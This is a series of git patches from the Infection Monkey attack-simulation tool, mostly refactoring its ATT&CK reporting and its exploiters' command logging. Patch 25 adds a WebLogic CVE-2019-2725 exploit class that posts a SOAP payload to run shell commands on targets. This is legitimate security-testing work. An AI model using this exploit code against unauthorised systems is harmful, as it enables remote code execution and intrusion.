data.update({'message': T1086.used_msg, 'status': ScanStatus.USED.name}) + status = ScanStatus.USED else: - data.update({'message': T1086.unscanned_msg, 'status': ScanStatus.UNSCANNED.name}) + status = ScanStatus.UNSCANNED + data.update(T1086.get_message_and_status(status)) return data From 053ad1a261946ab051841070e290bee5c03f1abb Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 19 Jun 2019 16:42:36 +0300 Subject: [PATCH 22/31] PBA handles hostname lookup failure --- monkey/infection_monkey/post_breach/pba.py | 9 +++++++-- monkey/monkey_island/cc/resources/telemetry_feed.py | 6 +++--- 2 files changed, 10 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 7df3693fa..28e489e8d 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -45,12 +45,17 @@ class PBA(object): """ exec_funct = self._execute_default result = exec_funct() - hostname = socket.gethostname() + try: + hostname = socket.gethostname() + ip = socket.gethostbyname(hostname) + except socket.error: + hostname = "Unknown" + ip = "Unknown" ControlClient.send_telemetry('post_breach', {'command': self.command, 'result': result, 'name': self.name, 'hostname': hostname, - 'ip': socket.gethostbyname(hostname)}) + 'ip': ip}) def _execute_default(self): """ diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 57a655297..ceef55489 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -82,9 +82,9 @@ class TelemetryFeed(flask_restful.Resource): @staticmethod def get_post_breach_telem_brief(telem): - return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'], - telem['data']['hostname'], - telem['data']['ip']) + return '%s post breach action executed on %s (%s) machine.' % (telem['data']['name'], + telem['data']['hostname'], + telem['data']['ip']) @staticmethod def get_attack_telem_brief(telem): From 8ec5a6ac4323b7f35ef98a6649e3d5de5da0713e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 19 Jun 2019 11:54:58 +0300 Subject: [PATCH 23/31] Readability improvements --- .../attack/technique_reports/T1075.py | 9 +++++---- .../attack/technique_reports/T1110.py | 10 +++++----- .../attack/technique_reports/T1210.py | 9 +++++---- .../attack/technique_reports/__init__.py | 20 +++++++++---------- 4 files changed, 24 insertions(+), 24 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py index 18082dfc1..fa65a66c2 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -31,13 +31,14 @@ class T1075(AttackTechnique): @staticmethod def get_report_data(): - data = {'title': T1075.technique_title(T1075.tech_id)} + data = {'title': T1075.technique_title()} successful_logins = list(mongo.db.telemetry.aggregate(T1075.query)) data.update({'successful_logins': successful_logins}) if successful_logins: - data.update(T1075.get_message_and_status(ScanStatus.USED)) + status = ScanStatus.USED elif mongo.db.telemetry.count_documents(T1075.login_attempt_query): - data.update(T1075.get_message_and_status(ScanStatus.SCANNED)) + status = ScanStatus.SCANNED else: - data.update(T1075.get_message_and_status(ScanStatus.UNSCANNED)) + status = ScanStatus.UNSCANNED + data.update(T1075.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index e8e4a62c3..0f09fb0fe 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -35,16 +35,16 @@ class T1110(AttackTechnique): result['successful_creds'].append(T1110.parse_creds(attempt)) if succeeded: - data = T1110.get_message_and_status(ScanStatus.USED) + status = ScanStatus.USED elif attempts: - data = T1110.get_message_and_status(ScanStatus.SCANNED) + status = ScanStatus.SCANNED else: - data = T1110.get_message_and_status(ScanStatus.UNSCANNED) - + status = ScanStatus.UNSCANNED + data = T1110.get_message_and_status(status) # Remove data with no successful brute force attempts attempts = [attempt for attempt in attempts if attempt['attempts']] - data.update({'services': attempts, 'title': T1110.technique_title(T1110.tech_id)}) + data.update({'services': attempts, 'title': T1110.technique_title()}) return data @staticmethod diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 677495c10..ed4a9a787 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -14,15 +14,16 @@ class T1210(AttackTechnique): @staticmethod def get_report_data(): - data = {'title': T1210.technique_title(T1210.tech_id)} + data = {'title': T1210.technique_title()} scanned_services = T1210.get_scanned_services() exploited_services = T1210.get_exploited_services() if exploited_services: - data.update({'status': ScanStatus.USED.name, 'message': T1210.used_msg}) + status = ScanStatus.USED elif scanned_services: - data.update({'status': ScanStatus.SCANNED.name, 'message': T1210.scanned_msg}) + status = ScanStatus.SCANNED else: - data.update({'status': ScanStatus.UNSCANNED.name, 'message': T1210.unscanned_msg}) + status = ScanStatus.UNSCANNED + data.update(T1210.get_message_and_status(status)) data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 7faaf5afd..fe2beb424 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -46,20 +46,19 @@ class AttackTechnique(object): """ pass - @staticmethod - def technique_status(tech_id): + @classmethod + def technique_status(cls): """ Gets the status of a certain attack technique. - :param tech_id: ID of attack technique, for e.g. T1110 :return: ScanStatus Enum object """ if mongo.db.attack_results.find_one({'telem_catagory': 'attack', 'status': ScanStatus.USED.value, - 'technique': tech_id}): + 'technique': cls.tech_id}): return ScanStatus.USED elif mongo.db.attack_results.find_one({'telem_catagory': 'attack', 'status': ScanStatus.SCANNED.value, - 'technique': tech_id}): + 'technique': cls.tech_id}): return ScanStatus.SCANNED else: return ScanStatus.UNSCANNED @@ -87,13 +86,12 @@ class AttackTechnique(object): else: return cls.used_msg - @staticmethod - def technique_title(tech_id): + @classmethod + def technique_title(cls): """ - :param tech_id: Technique's id. E.g. T1110 :return: techniques title. E.g. "T1110 Brute force" """ - return AttackConfig.get_technique(tech_id)['title'] + return AttackConfig.get_technique(cls.tech_id)['title'] @classmethod def get_tech_base_data(cls): @@ -102,8 +100,8 @@ class AttackTechnique(object): :return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'} """ data = {} - status = AttackTechnique.technique_status(cls.tech_id) - title = AttackTechnique.technique_title(cls.tech_id) + status = cls.technique_status() + title = cls.technique_title() data.update({'status': status.name, 'title': title, 'message': cls.get_message_by_status(status)}) From f9bf3ef9f0f8070db8db15b10441e16716045b32 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 25 Jun 2019 10:42:03 +0300 Subject: [PATCH 24/31] Executed cmds info variable refactored --- monkey/infection_monkey/exploit/__init__.py | 11 ++++++++--- monkey/infection_monkey/exploit/hadoop.py | 2 +- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/rdpgrinder.py | 2 +- monkey/infection_monkey/exploit/shellshock.py | 2 +- monkey/infection_monkey/exploit/sshexec.py | 2 +- monkey/infection_monkey/exploit/vsftpd.py | 2 +- monkey/infection_monkey/exploit/web_rce.py | 4 ++-- monkey/infection_monkey/exploit/wmiexec.py | 2 +- .../monkey_island/cc/services/attack/attack_report.py | 1 - .../cc/services/attack/technique_reports/T1003.py | 1 + .../cc/services/attack/technique_reports/T1059.py | 2 +- .../cc/ui/src/components/attack/techniques/T1059.js | 2 +- 13 files changed, 20 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 962240665..95a199923 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -25,7 +25,7 @@ class HostExploiter(object): 'finished': '', 'vulnerable_urls': [], 'vulnerable_ports': [], - 'executed_cmds': {}} + 'executed_cmds': []} self._exploit_attempts = [] self.host = host @@ -59,8 +59,13 @@ class HostExploiter(object): def add_vuln_port(self, port): self._exploit_info['vulnerable_ports'].append(port) - def set_example_cmd(self, cmd): - self._exploit_info['executed_cmds']['example'] = cmd + def add_executed_cmd(self, cmd): + """ + Appends command to exploiter's info. + :param cmd: String of executed command. e.g. 'echo Example' + """ + command = {'cmd': cmd} + self._exploit_info['executed_cmds'].append(command) from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 39edf0262..ac1cf784a 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -49,7 +49,7 @@ class HadoopExploiter(WebRCE): return False http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() - self.set_example_cmd(command) + self.add_executed_cmd(command) return True def exploit(self, url, command): diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index c1409ec6c..4b5b258b9 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -77,7 +77,7 @@ class MSSQLExploiter(HostExploiter): commands.extend(monkey_args) MSSQLExploiter.execute_command(cursor, commands) MSSQLExploiter.run_file(cursor, tmp_file_path) - self.set_example_cmd(commands[-1]) + self.add_executed_cmd(commands[-1]) return True @staticmethod diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index 828b03c20..ea2bbb3f6 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -343,5 +343,5 @@ class RdpExploiter(HostExploiter): LOG.info("Executed monkey '%s' on remote victim %r", os.path.basename(src_path), self.host) - self.set_example_cmd(command) + self.add_executed_cmd(command) return True diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 26e9a743b..5686be5d7 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -144,7 +144,7 @@ class ShellShockExploiter(HostExploiter): if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") continue - self.set_example_cmd(cmdline) + self.add_executed_cmd(cmdline) return True return False diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index e65d3cb19..e4b7a313c 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -178,7 +178,7 @@ class SSHExploiter(HostExploiter): self._config.dropper_target_path_linux, self.host, cmdline) ssh.close() - self.set_example_cmd(cmdline) + self.add_executed_cmd(cmdline) return True except Exception as exc: diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index eddac620c..ced79f208 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -138,7 +138,7 @@ class VSFTPDExploiter(HostExploiter): if backdoor_socket.send(run_monkey): LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey) - self.set_example_cmd(run_monkey) + self.add_executed_cmd(run_monkey) return True else: return False diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 351eb7c17..d138e4cca 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -408,7 +408,7 @@ class WebRCE(HostExploiter): # If exploiter returns True / False if type(resp) is bool: LOG.info("Execution attempt successfully finished") - self.set_example_cmd(command) + self.add_executed_cmd(command) return resp # If exploiter returns command output, we can check for execution errors if 'is not recognized' in resp or 'command not found' in resp: @@ -422,7 +422,7 @@ class WebRCE(HostExploiter): return False LOG.info("Execution attempt finished") - self.set_example_cmd(command) + self.add_executed_cmd(command) return resp def get_monkey_upload_path(self, url_to_monkey): diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 648fb233d..88246ba76 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -114,7 +114,7 @@ class WmiExploiter(HostExploiter): result.RemRelease() wmi_connection.close() - self.set_example_cmd(cmdline) + self.add_executed_cmd(cmdline) return success return False diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 27fe53392..711f5103a 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,6 +1,5 @@ import logging from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059 -from monkey_island.cc.services.attack.attack_telem import AttackTelemService from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index d30197e9a..bd9e31c92 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -13,6 +13,7 @@ class T1003(AttackTechnique): used_msg = "Monkey successfully obtained some credentials from systems on the network." query = {'telem_type': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}}, + # $gt: {} checks if field is not an empty object {'data.credentials': {'$gt': {}}}]} @staticmethod diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index 6f126b175..5f0fa4433 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -13,7 +13,7 @@ class T1059(AttackTechnique): used_msg = "Monkey successfully ran commands on exploited machines in the network." query = [{'$match': {'telem_type': 'exploit', - 'data.info.executed_cmds.example': {'$exists': True}}}, + 'data.info.executed_cmds': {'$exists': True, '$ne': []}}}, {'$project': {'_id': 0, 'machine': '$data.machine', 'info': '$data.info'}}, diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js index 5678b8c14..2352772c0 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js @@ -16,7 +16,7 @@ class T1059 extends React.Component { columns: [ {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 }, {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }}, - {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds.example, style: { 'whiteSpace': 'unset' }}, + {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }}, ] }])}; From d0d0f13a43e873b48ae407f4530f62a60190f0d4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 18 Jun 2019 13:38:05 +0300 Subject: [PATCH 25/31] WebLogic CVE-2019-2725 implemented --- monkey/infection_monkey/exploit/weblogic.py | 130 +++++++++++++++--- .../cc/ui/src/components/pages/ReportPage.js | 13 +- 2 files changed, 115 insertions(+), 28 deletions(-) diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 4c99f82b9..83439e64f 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -14,6 +14,7 @@ from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import threading import logging import time +import copy __author__ = "VakarisZ" @@ -21,28 +22,28 @@ LOG = logging.getLogger(__name__) # How long server waits for get request in seconds SERVER_TIMEOUT = 4 # How long should be wait after each request in seconds -REQUEST_DELAY = 0.0001 +REQUEST_DELAY = 0.1 # How long to wait for a sign(request from host) that server is vulnerable. In seconds REQUEST_TIMEOUT = 5 # How long to wait for response in exploitation. In seconds EXECUTION_TIMEOUT = 15 -URLS = ["/wls-wsat/CoordinatorPortType", - "/wls-wsat/CoordinatorPortType11", - "/wls-wsat/ParticipantPortType", - "/wls-wsat/ParticipantPortType11", - "/wls-wsat/RegistrationPortTypeRPC", - "/wls-wsat/RegistrationPortTypeRPC11", - "/wls-wsat/RegistrationRequesterPortType", - "/wls-wsat/RegistrationRequesterPortType11"] -# Malicious request's headers: -HEADERS = { - "Content-Type": "text/xml;charset=UTF-8", - "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " - "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" - } class WebLogicExploiter(WebRCE): + URLS = ["/wls-wsat/CoordinatorPortType", + "/wls-wsat/CoordinatorPortType11", + "/wls-wsat/ParticipantPortType", + "/wls-wsat/ParticipantPortType11", + "/wls-wsat/RegistrationPortTypeRPC", + "/wls-wsat/RegistrationPortTypeRPC11", + "/wls-wsat/RegistrationRequesterPortType", + "/wls-wsat/RegistrationRequesterPortType11"] + # Malicious request's headers: + HEADERS = { + "Content-Type": "text/xml;charset=UTF-8", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" + } _TARGET_OS_TYPE = ['linux', 'windows'] _EXPLOITED_SERVICE = 'Weblogic' @@ -55,19 +56,29 @@ class WebLogicExploiter(WebRCE): exploit_config = super(WebLogicExploiter, self).get_exploit_config() exploit_config['blind_exploit'] = True exploit_config['stop_checking_urls'] = True - exploit_config['url_extensions'] = URLS + exploit_config['url_extensions'] = WebLogicExploiter.URLS return exploit_config + def exploit_host(self): + exploiters = [WebLogic20192725] + for exploiter in exploiters: + if exploiter(self.host).exploit_host(): + return True + if super(WebLogicExploiter, self).exploit_host(): + return True + else: + return False + def exploit(self, url, command): if 'linux' in self.host.os['type']: payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null') else: payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL') try: - post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) + post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) except Exception as e: - print('[!] Connection Error') - print(e) + LOG.error("Connection error: %s" % e) + return False return True @@ -100,7 +111,7 @@ class WebLogicExploiter(WebRCE): def check_if_exploitable_weblogic(self, url, httpd): payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port) try: - post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False) + post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=REQUEST_DELAY, verify=False) except exceptions.ReadTimeout: # Our request will not get response thus we get ReadTimeout error pass @@ -224,3 +235,82 @@ class WebLogicExploiter(WebRCE): def stop(self): self._stopped = True + + +# Exploit based of: +# Andres Rodriguez (acamro) +# https://github.com/rapid7/metasploit-framework/pull/11780 +class WebLogic20192725(WebRCE): + URLS = ["_async/AsyncResponseServiceHttps"] + + _TARGET_OS_TYPE = ['linux', 'windows'] + _EXPLOITED_SERVICE = 'Weblogic' + + def __init__(self, host): + super(WebLogic20192725, self).__init__(host) + + def get_exploit_config(self): + exploit_config = super(WebLogic20192725, self).get_exploit_config() + exploit_config['url_extensions'] = WebLogic20192725.URLS + exploit_config['blind_exploit'] = True + exploit_config['dropper'] = True + return exploit_config + + def exploit(self, url, command): + if 'linux' in self.host.os['type']: + payload = self.get_exploit_payload('/bin/sh', '-c', command) + else: + payload = self.get_exploit_payload('cmd', '/c', command) + try: + resp = post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT) + return resp + except Exception as e: + LOG.error("Connection error: %s" % e) + return False + + def check_if_exploitable(self, url): + headers = copy.deepcopy(WebLogicExploiter.HEADERS).update({'SOAPAction': ''}) + res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT) + if res.status_code == 500 and "env:Client" in res.text: + return True + else: + return False + + @staticmethod + def get_exploit_payload(cmd_base, cmd_opt, command): + """ + Formats the payload used to exploit weblogic servers + :param cmd_base: What command prompt to use eg. cmd + :param cmd_opt: cmd_base commands parameters. eg. /c (to run command) + :param command: command itself + :return: Formatted payload + """ + empty_payload = ''' + + + xx + xx + + + + + {cmd_base} + + + {cmd_opt} + + + {cmd_payload} + + + + + + + + + + ''' + payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) + return payload diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index adc0911d8..40ef7ba7f 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -308,7 +308,7 @@ class ReportPageComponent extends AuthComponent { }).length} threats:
    {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ? -
  • Stolen SSH keys are used to exploit other machines.
  • : null } +
  • Stolen SSH keys are used to exploit other machines.
  • : null } {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
  • Stolen credentials are used to exploit other machines.
  • : null} {this.state.report.overview.issues[this.Issue.ELASTIC] ? @@ -889,16 +889,13 @@ class ReportPageComponent extends AuthComponent { generateWebLogicIssue(issue) { return (
  • - Install Oracle - critical patch updates. Or update to the latest version. Vulnerable versions are - 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. + Update Oracle WebLogic server to the latest supported version. Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}) is vulnerable to one of remote code execution attacks.
    - The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware - (subcomponent: WLS Security). + The attack was made possible due to one of the following vulnerabilities: CVE-2017-10271 or CVE-2019-2725
  • ); From 36f917bc8dddbb8bffc51aff22d912fe60ac651e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 25 Jun 2019 15:43:02 +0300 Subject: [PATCH 26/31] Updated branch according to changes in dev. --- .../services/attack/technique_reports/T1003.py | 2 +- .../services/attack/technique_reports/T1059.py | 2 +- .../services/attack/technique_reports/T1110.py | 2 +- .../services/attack/technique_reports/T1197.py | 16 +++++++++------- .../ui/src/components/attack/techniques/T1059.js | 5 +++-- 5 files changed, 15 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index bd9e31c92..cd1a538cb 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -12,7 +12,7 @@ class T1003(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully obtained some credentials from systems on the network." - query = {'telem_type': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}}, + query = {'telem_category': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}}, # $gt: {} checks if field is not an empty object {'data.credentials': {'$gt': {}}}]} diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index 5f0fa4433..488a8f547 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -12,7 +12,7 @@ class T1059(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully ran commands on exploited machines in the network." - query = [{'$match': {'telem_type': 'exploit', + query = [{'$match': {'telem_category': 'exploit', 'data.info.executed_cmds': {'$exists': True, '$ne': []}}}, {'$project': {'_id': 0, 'machine': '$data.machine', diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index 0f09fb0fe..60ae14c0b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -13,7 +13,7 @@ class T1110(AttackTechnique): used_msg = "Monkey successfully used brute force in the network." # Gets data about brute force attempts - query = [{'$match': {'telem_type': 'exploit', + query = [{'$match': {'telem_category': 'exploit', 'data.attempts': {'$not': {'$size': 0}}}}, {'$project': {'_id': 0, 'machine': '$data.machine', diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py index 9a968e998..b6bd316af 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py @@ -13,13 +13,15 @@ class T1197(AttackTechnique): @staticmethod def get_report_data(): data = T1197.get_tech_base_data() - bits_results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'attack', 'data.technique': T1197.tech_id}}, - {'$group': {'_id': {'ip_addr': '$data.machine.ip_addr', 'usage': '$data.usage'}, - 'ip_addr': {'$first': '$data.machine.ip_addr'}, - 'domain_name': {'$first': '$data.machine.domain_name'}, - 'usage': {'$first': '$data.usage'}, - 'time': {'$first': '$timestamp'}} - }]) + bits_results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'attack', + 'data.technique': T1197.tech_id}}, + {'$group': {'_id': {'ip_addr': '$data.machine.ip_addr', + 'usage': '$data.usage'}, + 'ip_addr': {'$first': '$data.machine.ip_addr'}, + 'domain_name': {'$first': '$data.machine.domain_name'}, + 'usage': {'$first': '$data.usage'}, + 'time': {'$first': '$timestamp'}} + }]) bits_results = list(bits_results) data.update({'bits_jobs': bits_results}) return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js index 2352772c0..abca8987a 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { RenderMachine } from "./Helpers" +import { renderMachine } from "./Helpers" class T1059 extends React.Component { @@ -14,13 +14,14 @@ class T1059 extends React.Component { return ([{ Header: 'Example commands used', columns: [ - {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 }, + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 }, {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }}, {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }}, ] }])}; render() { + console.log(this.props.data); return (
    {this.props.data.message}
    From 3e9dcd3646bc8474d473611349dc38b5b667debb Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 26 Jun 2019 14:58:07 +0300 Subject: [PATCH 27/31] Powershell query changed to parse array of executed command dicts --- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/web_rce.py | 2 +- monkey/infection_monkey/exploit/weblogic.py | 4 ++-- .../cc/services/attack/technique_reports/T1003.py | 4 ++-- .../cc/services/attack/technique_reports/T1059.py | 5 ++++- .../cc/services/attack/technique_reports/T1086.py | 13 +++++++++---- .../cc/ui/src/components/attack/techniques/T1059.js | 7 +++---- .../cc/ui/src/components/attack/techniques/T1086.js | 6 +++--- 8 files changed, 25 insertions(+), 18 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 7bbd0e4ad..9d1dcb2d6 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -66,7 +66,7 @@ class MSSQLExploiter(HostExploiter): "xp_cmdshell \">%s\"" % (dst_path, tmp_file_path)] MSSQLExploiter.execute_command(cursor, commands) MSSQLExploiter.run_file(cursor, tmp_file_path) - self.add_powershell_cmd(' '.join(commands)) + self.add_executed_cmd(' '.join(commands)) # Form monkey's command in a file monkey_args = tools.build_monkey_commandline(self.host, tools.get_monkey_depth() - 1, diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 58068fe91..fe45c65ce 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -338,7 +338,7 @@ class WebRCE(HostExploiter): command = self.get_command(paths['dest_path'], http_path, commands) resp = self.exploit(url, command) - self.add_powershell_cmd(command) + self.add_executed_cmd(command) resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path) http_thread.join(DOWNLOAD_TIMEOUT) diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index f6df5f0fa..4c99f82b9 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ 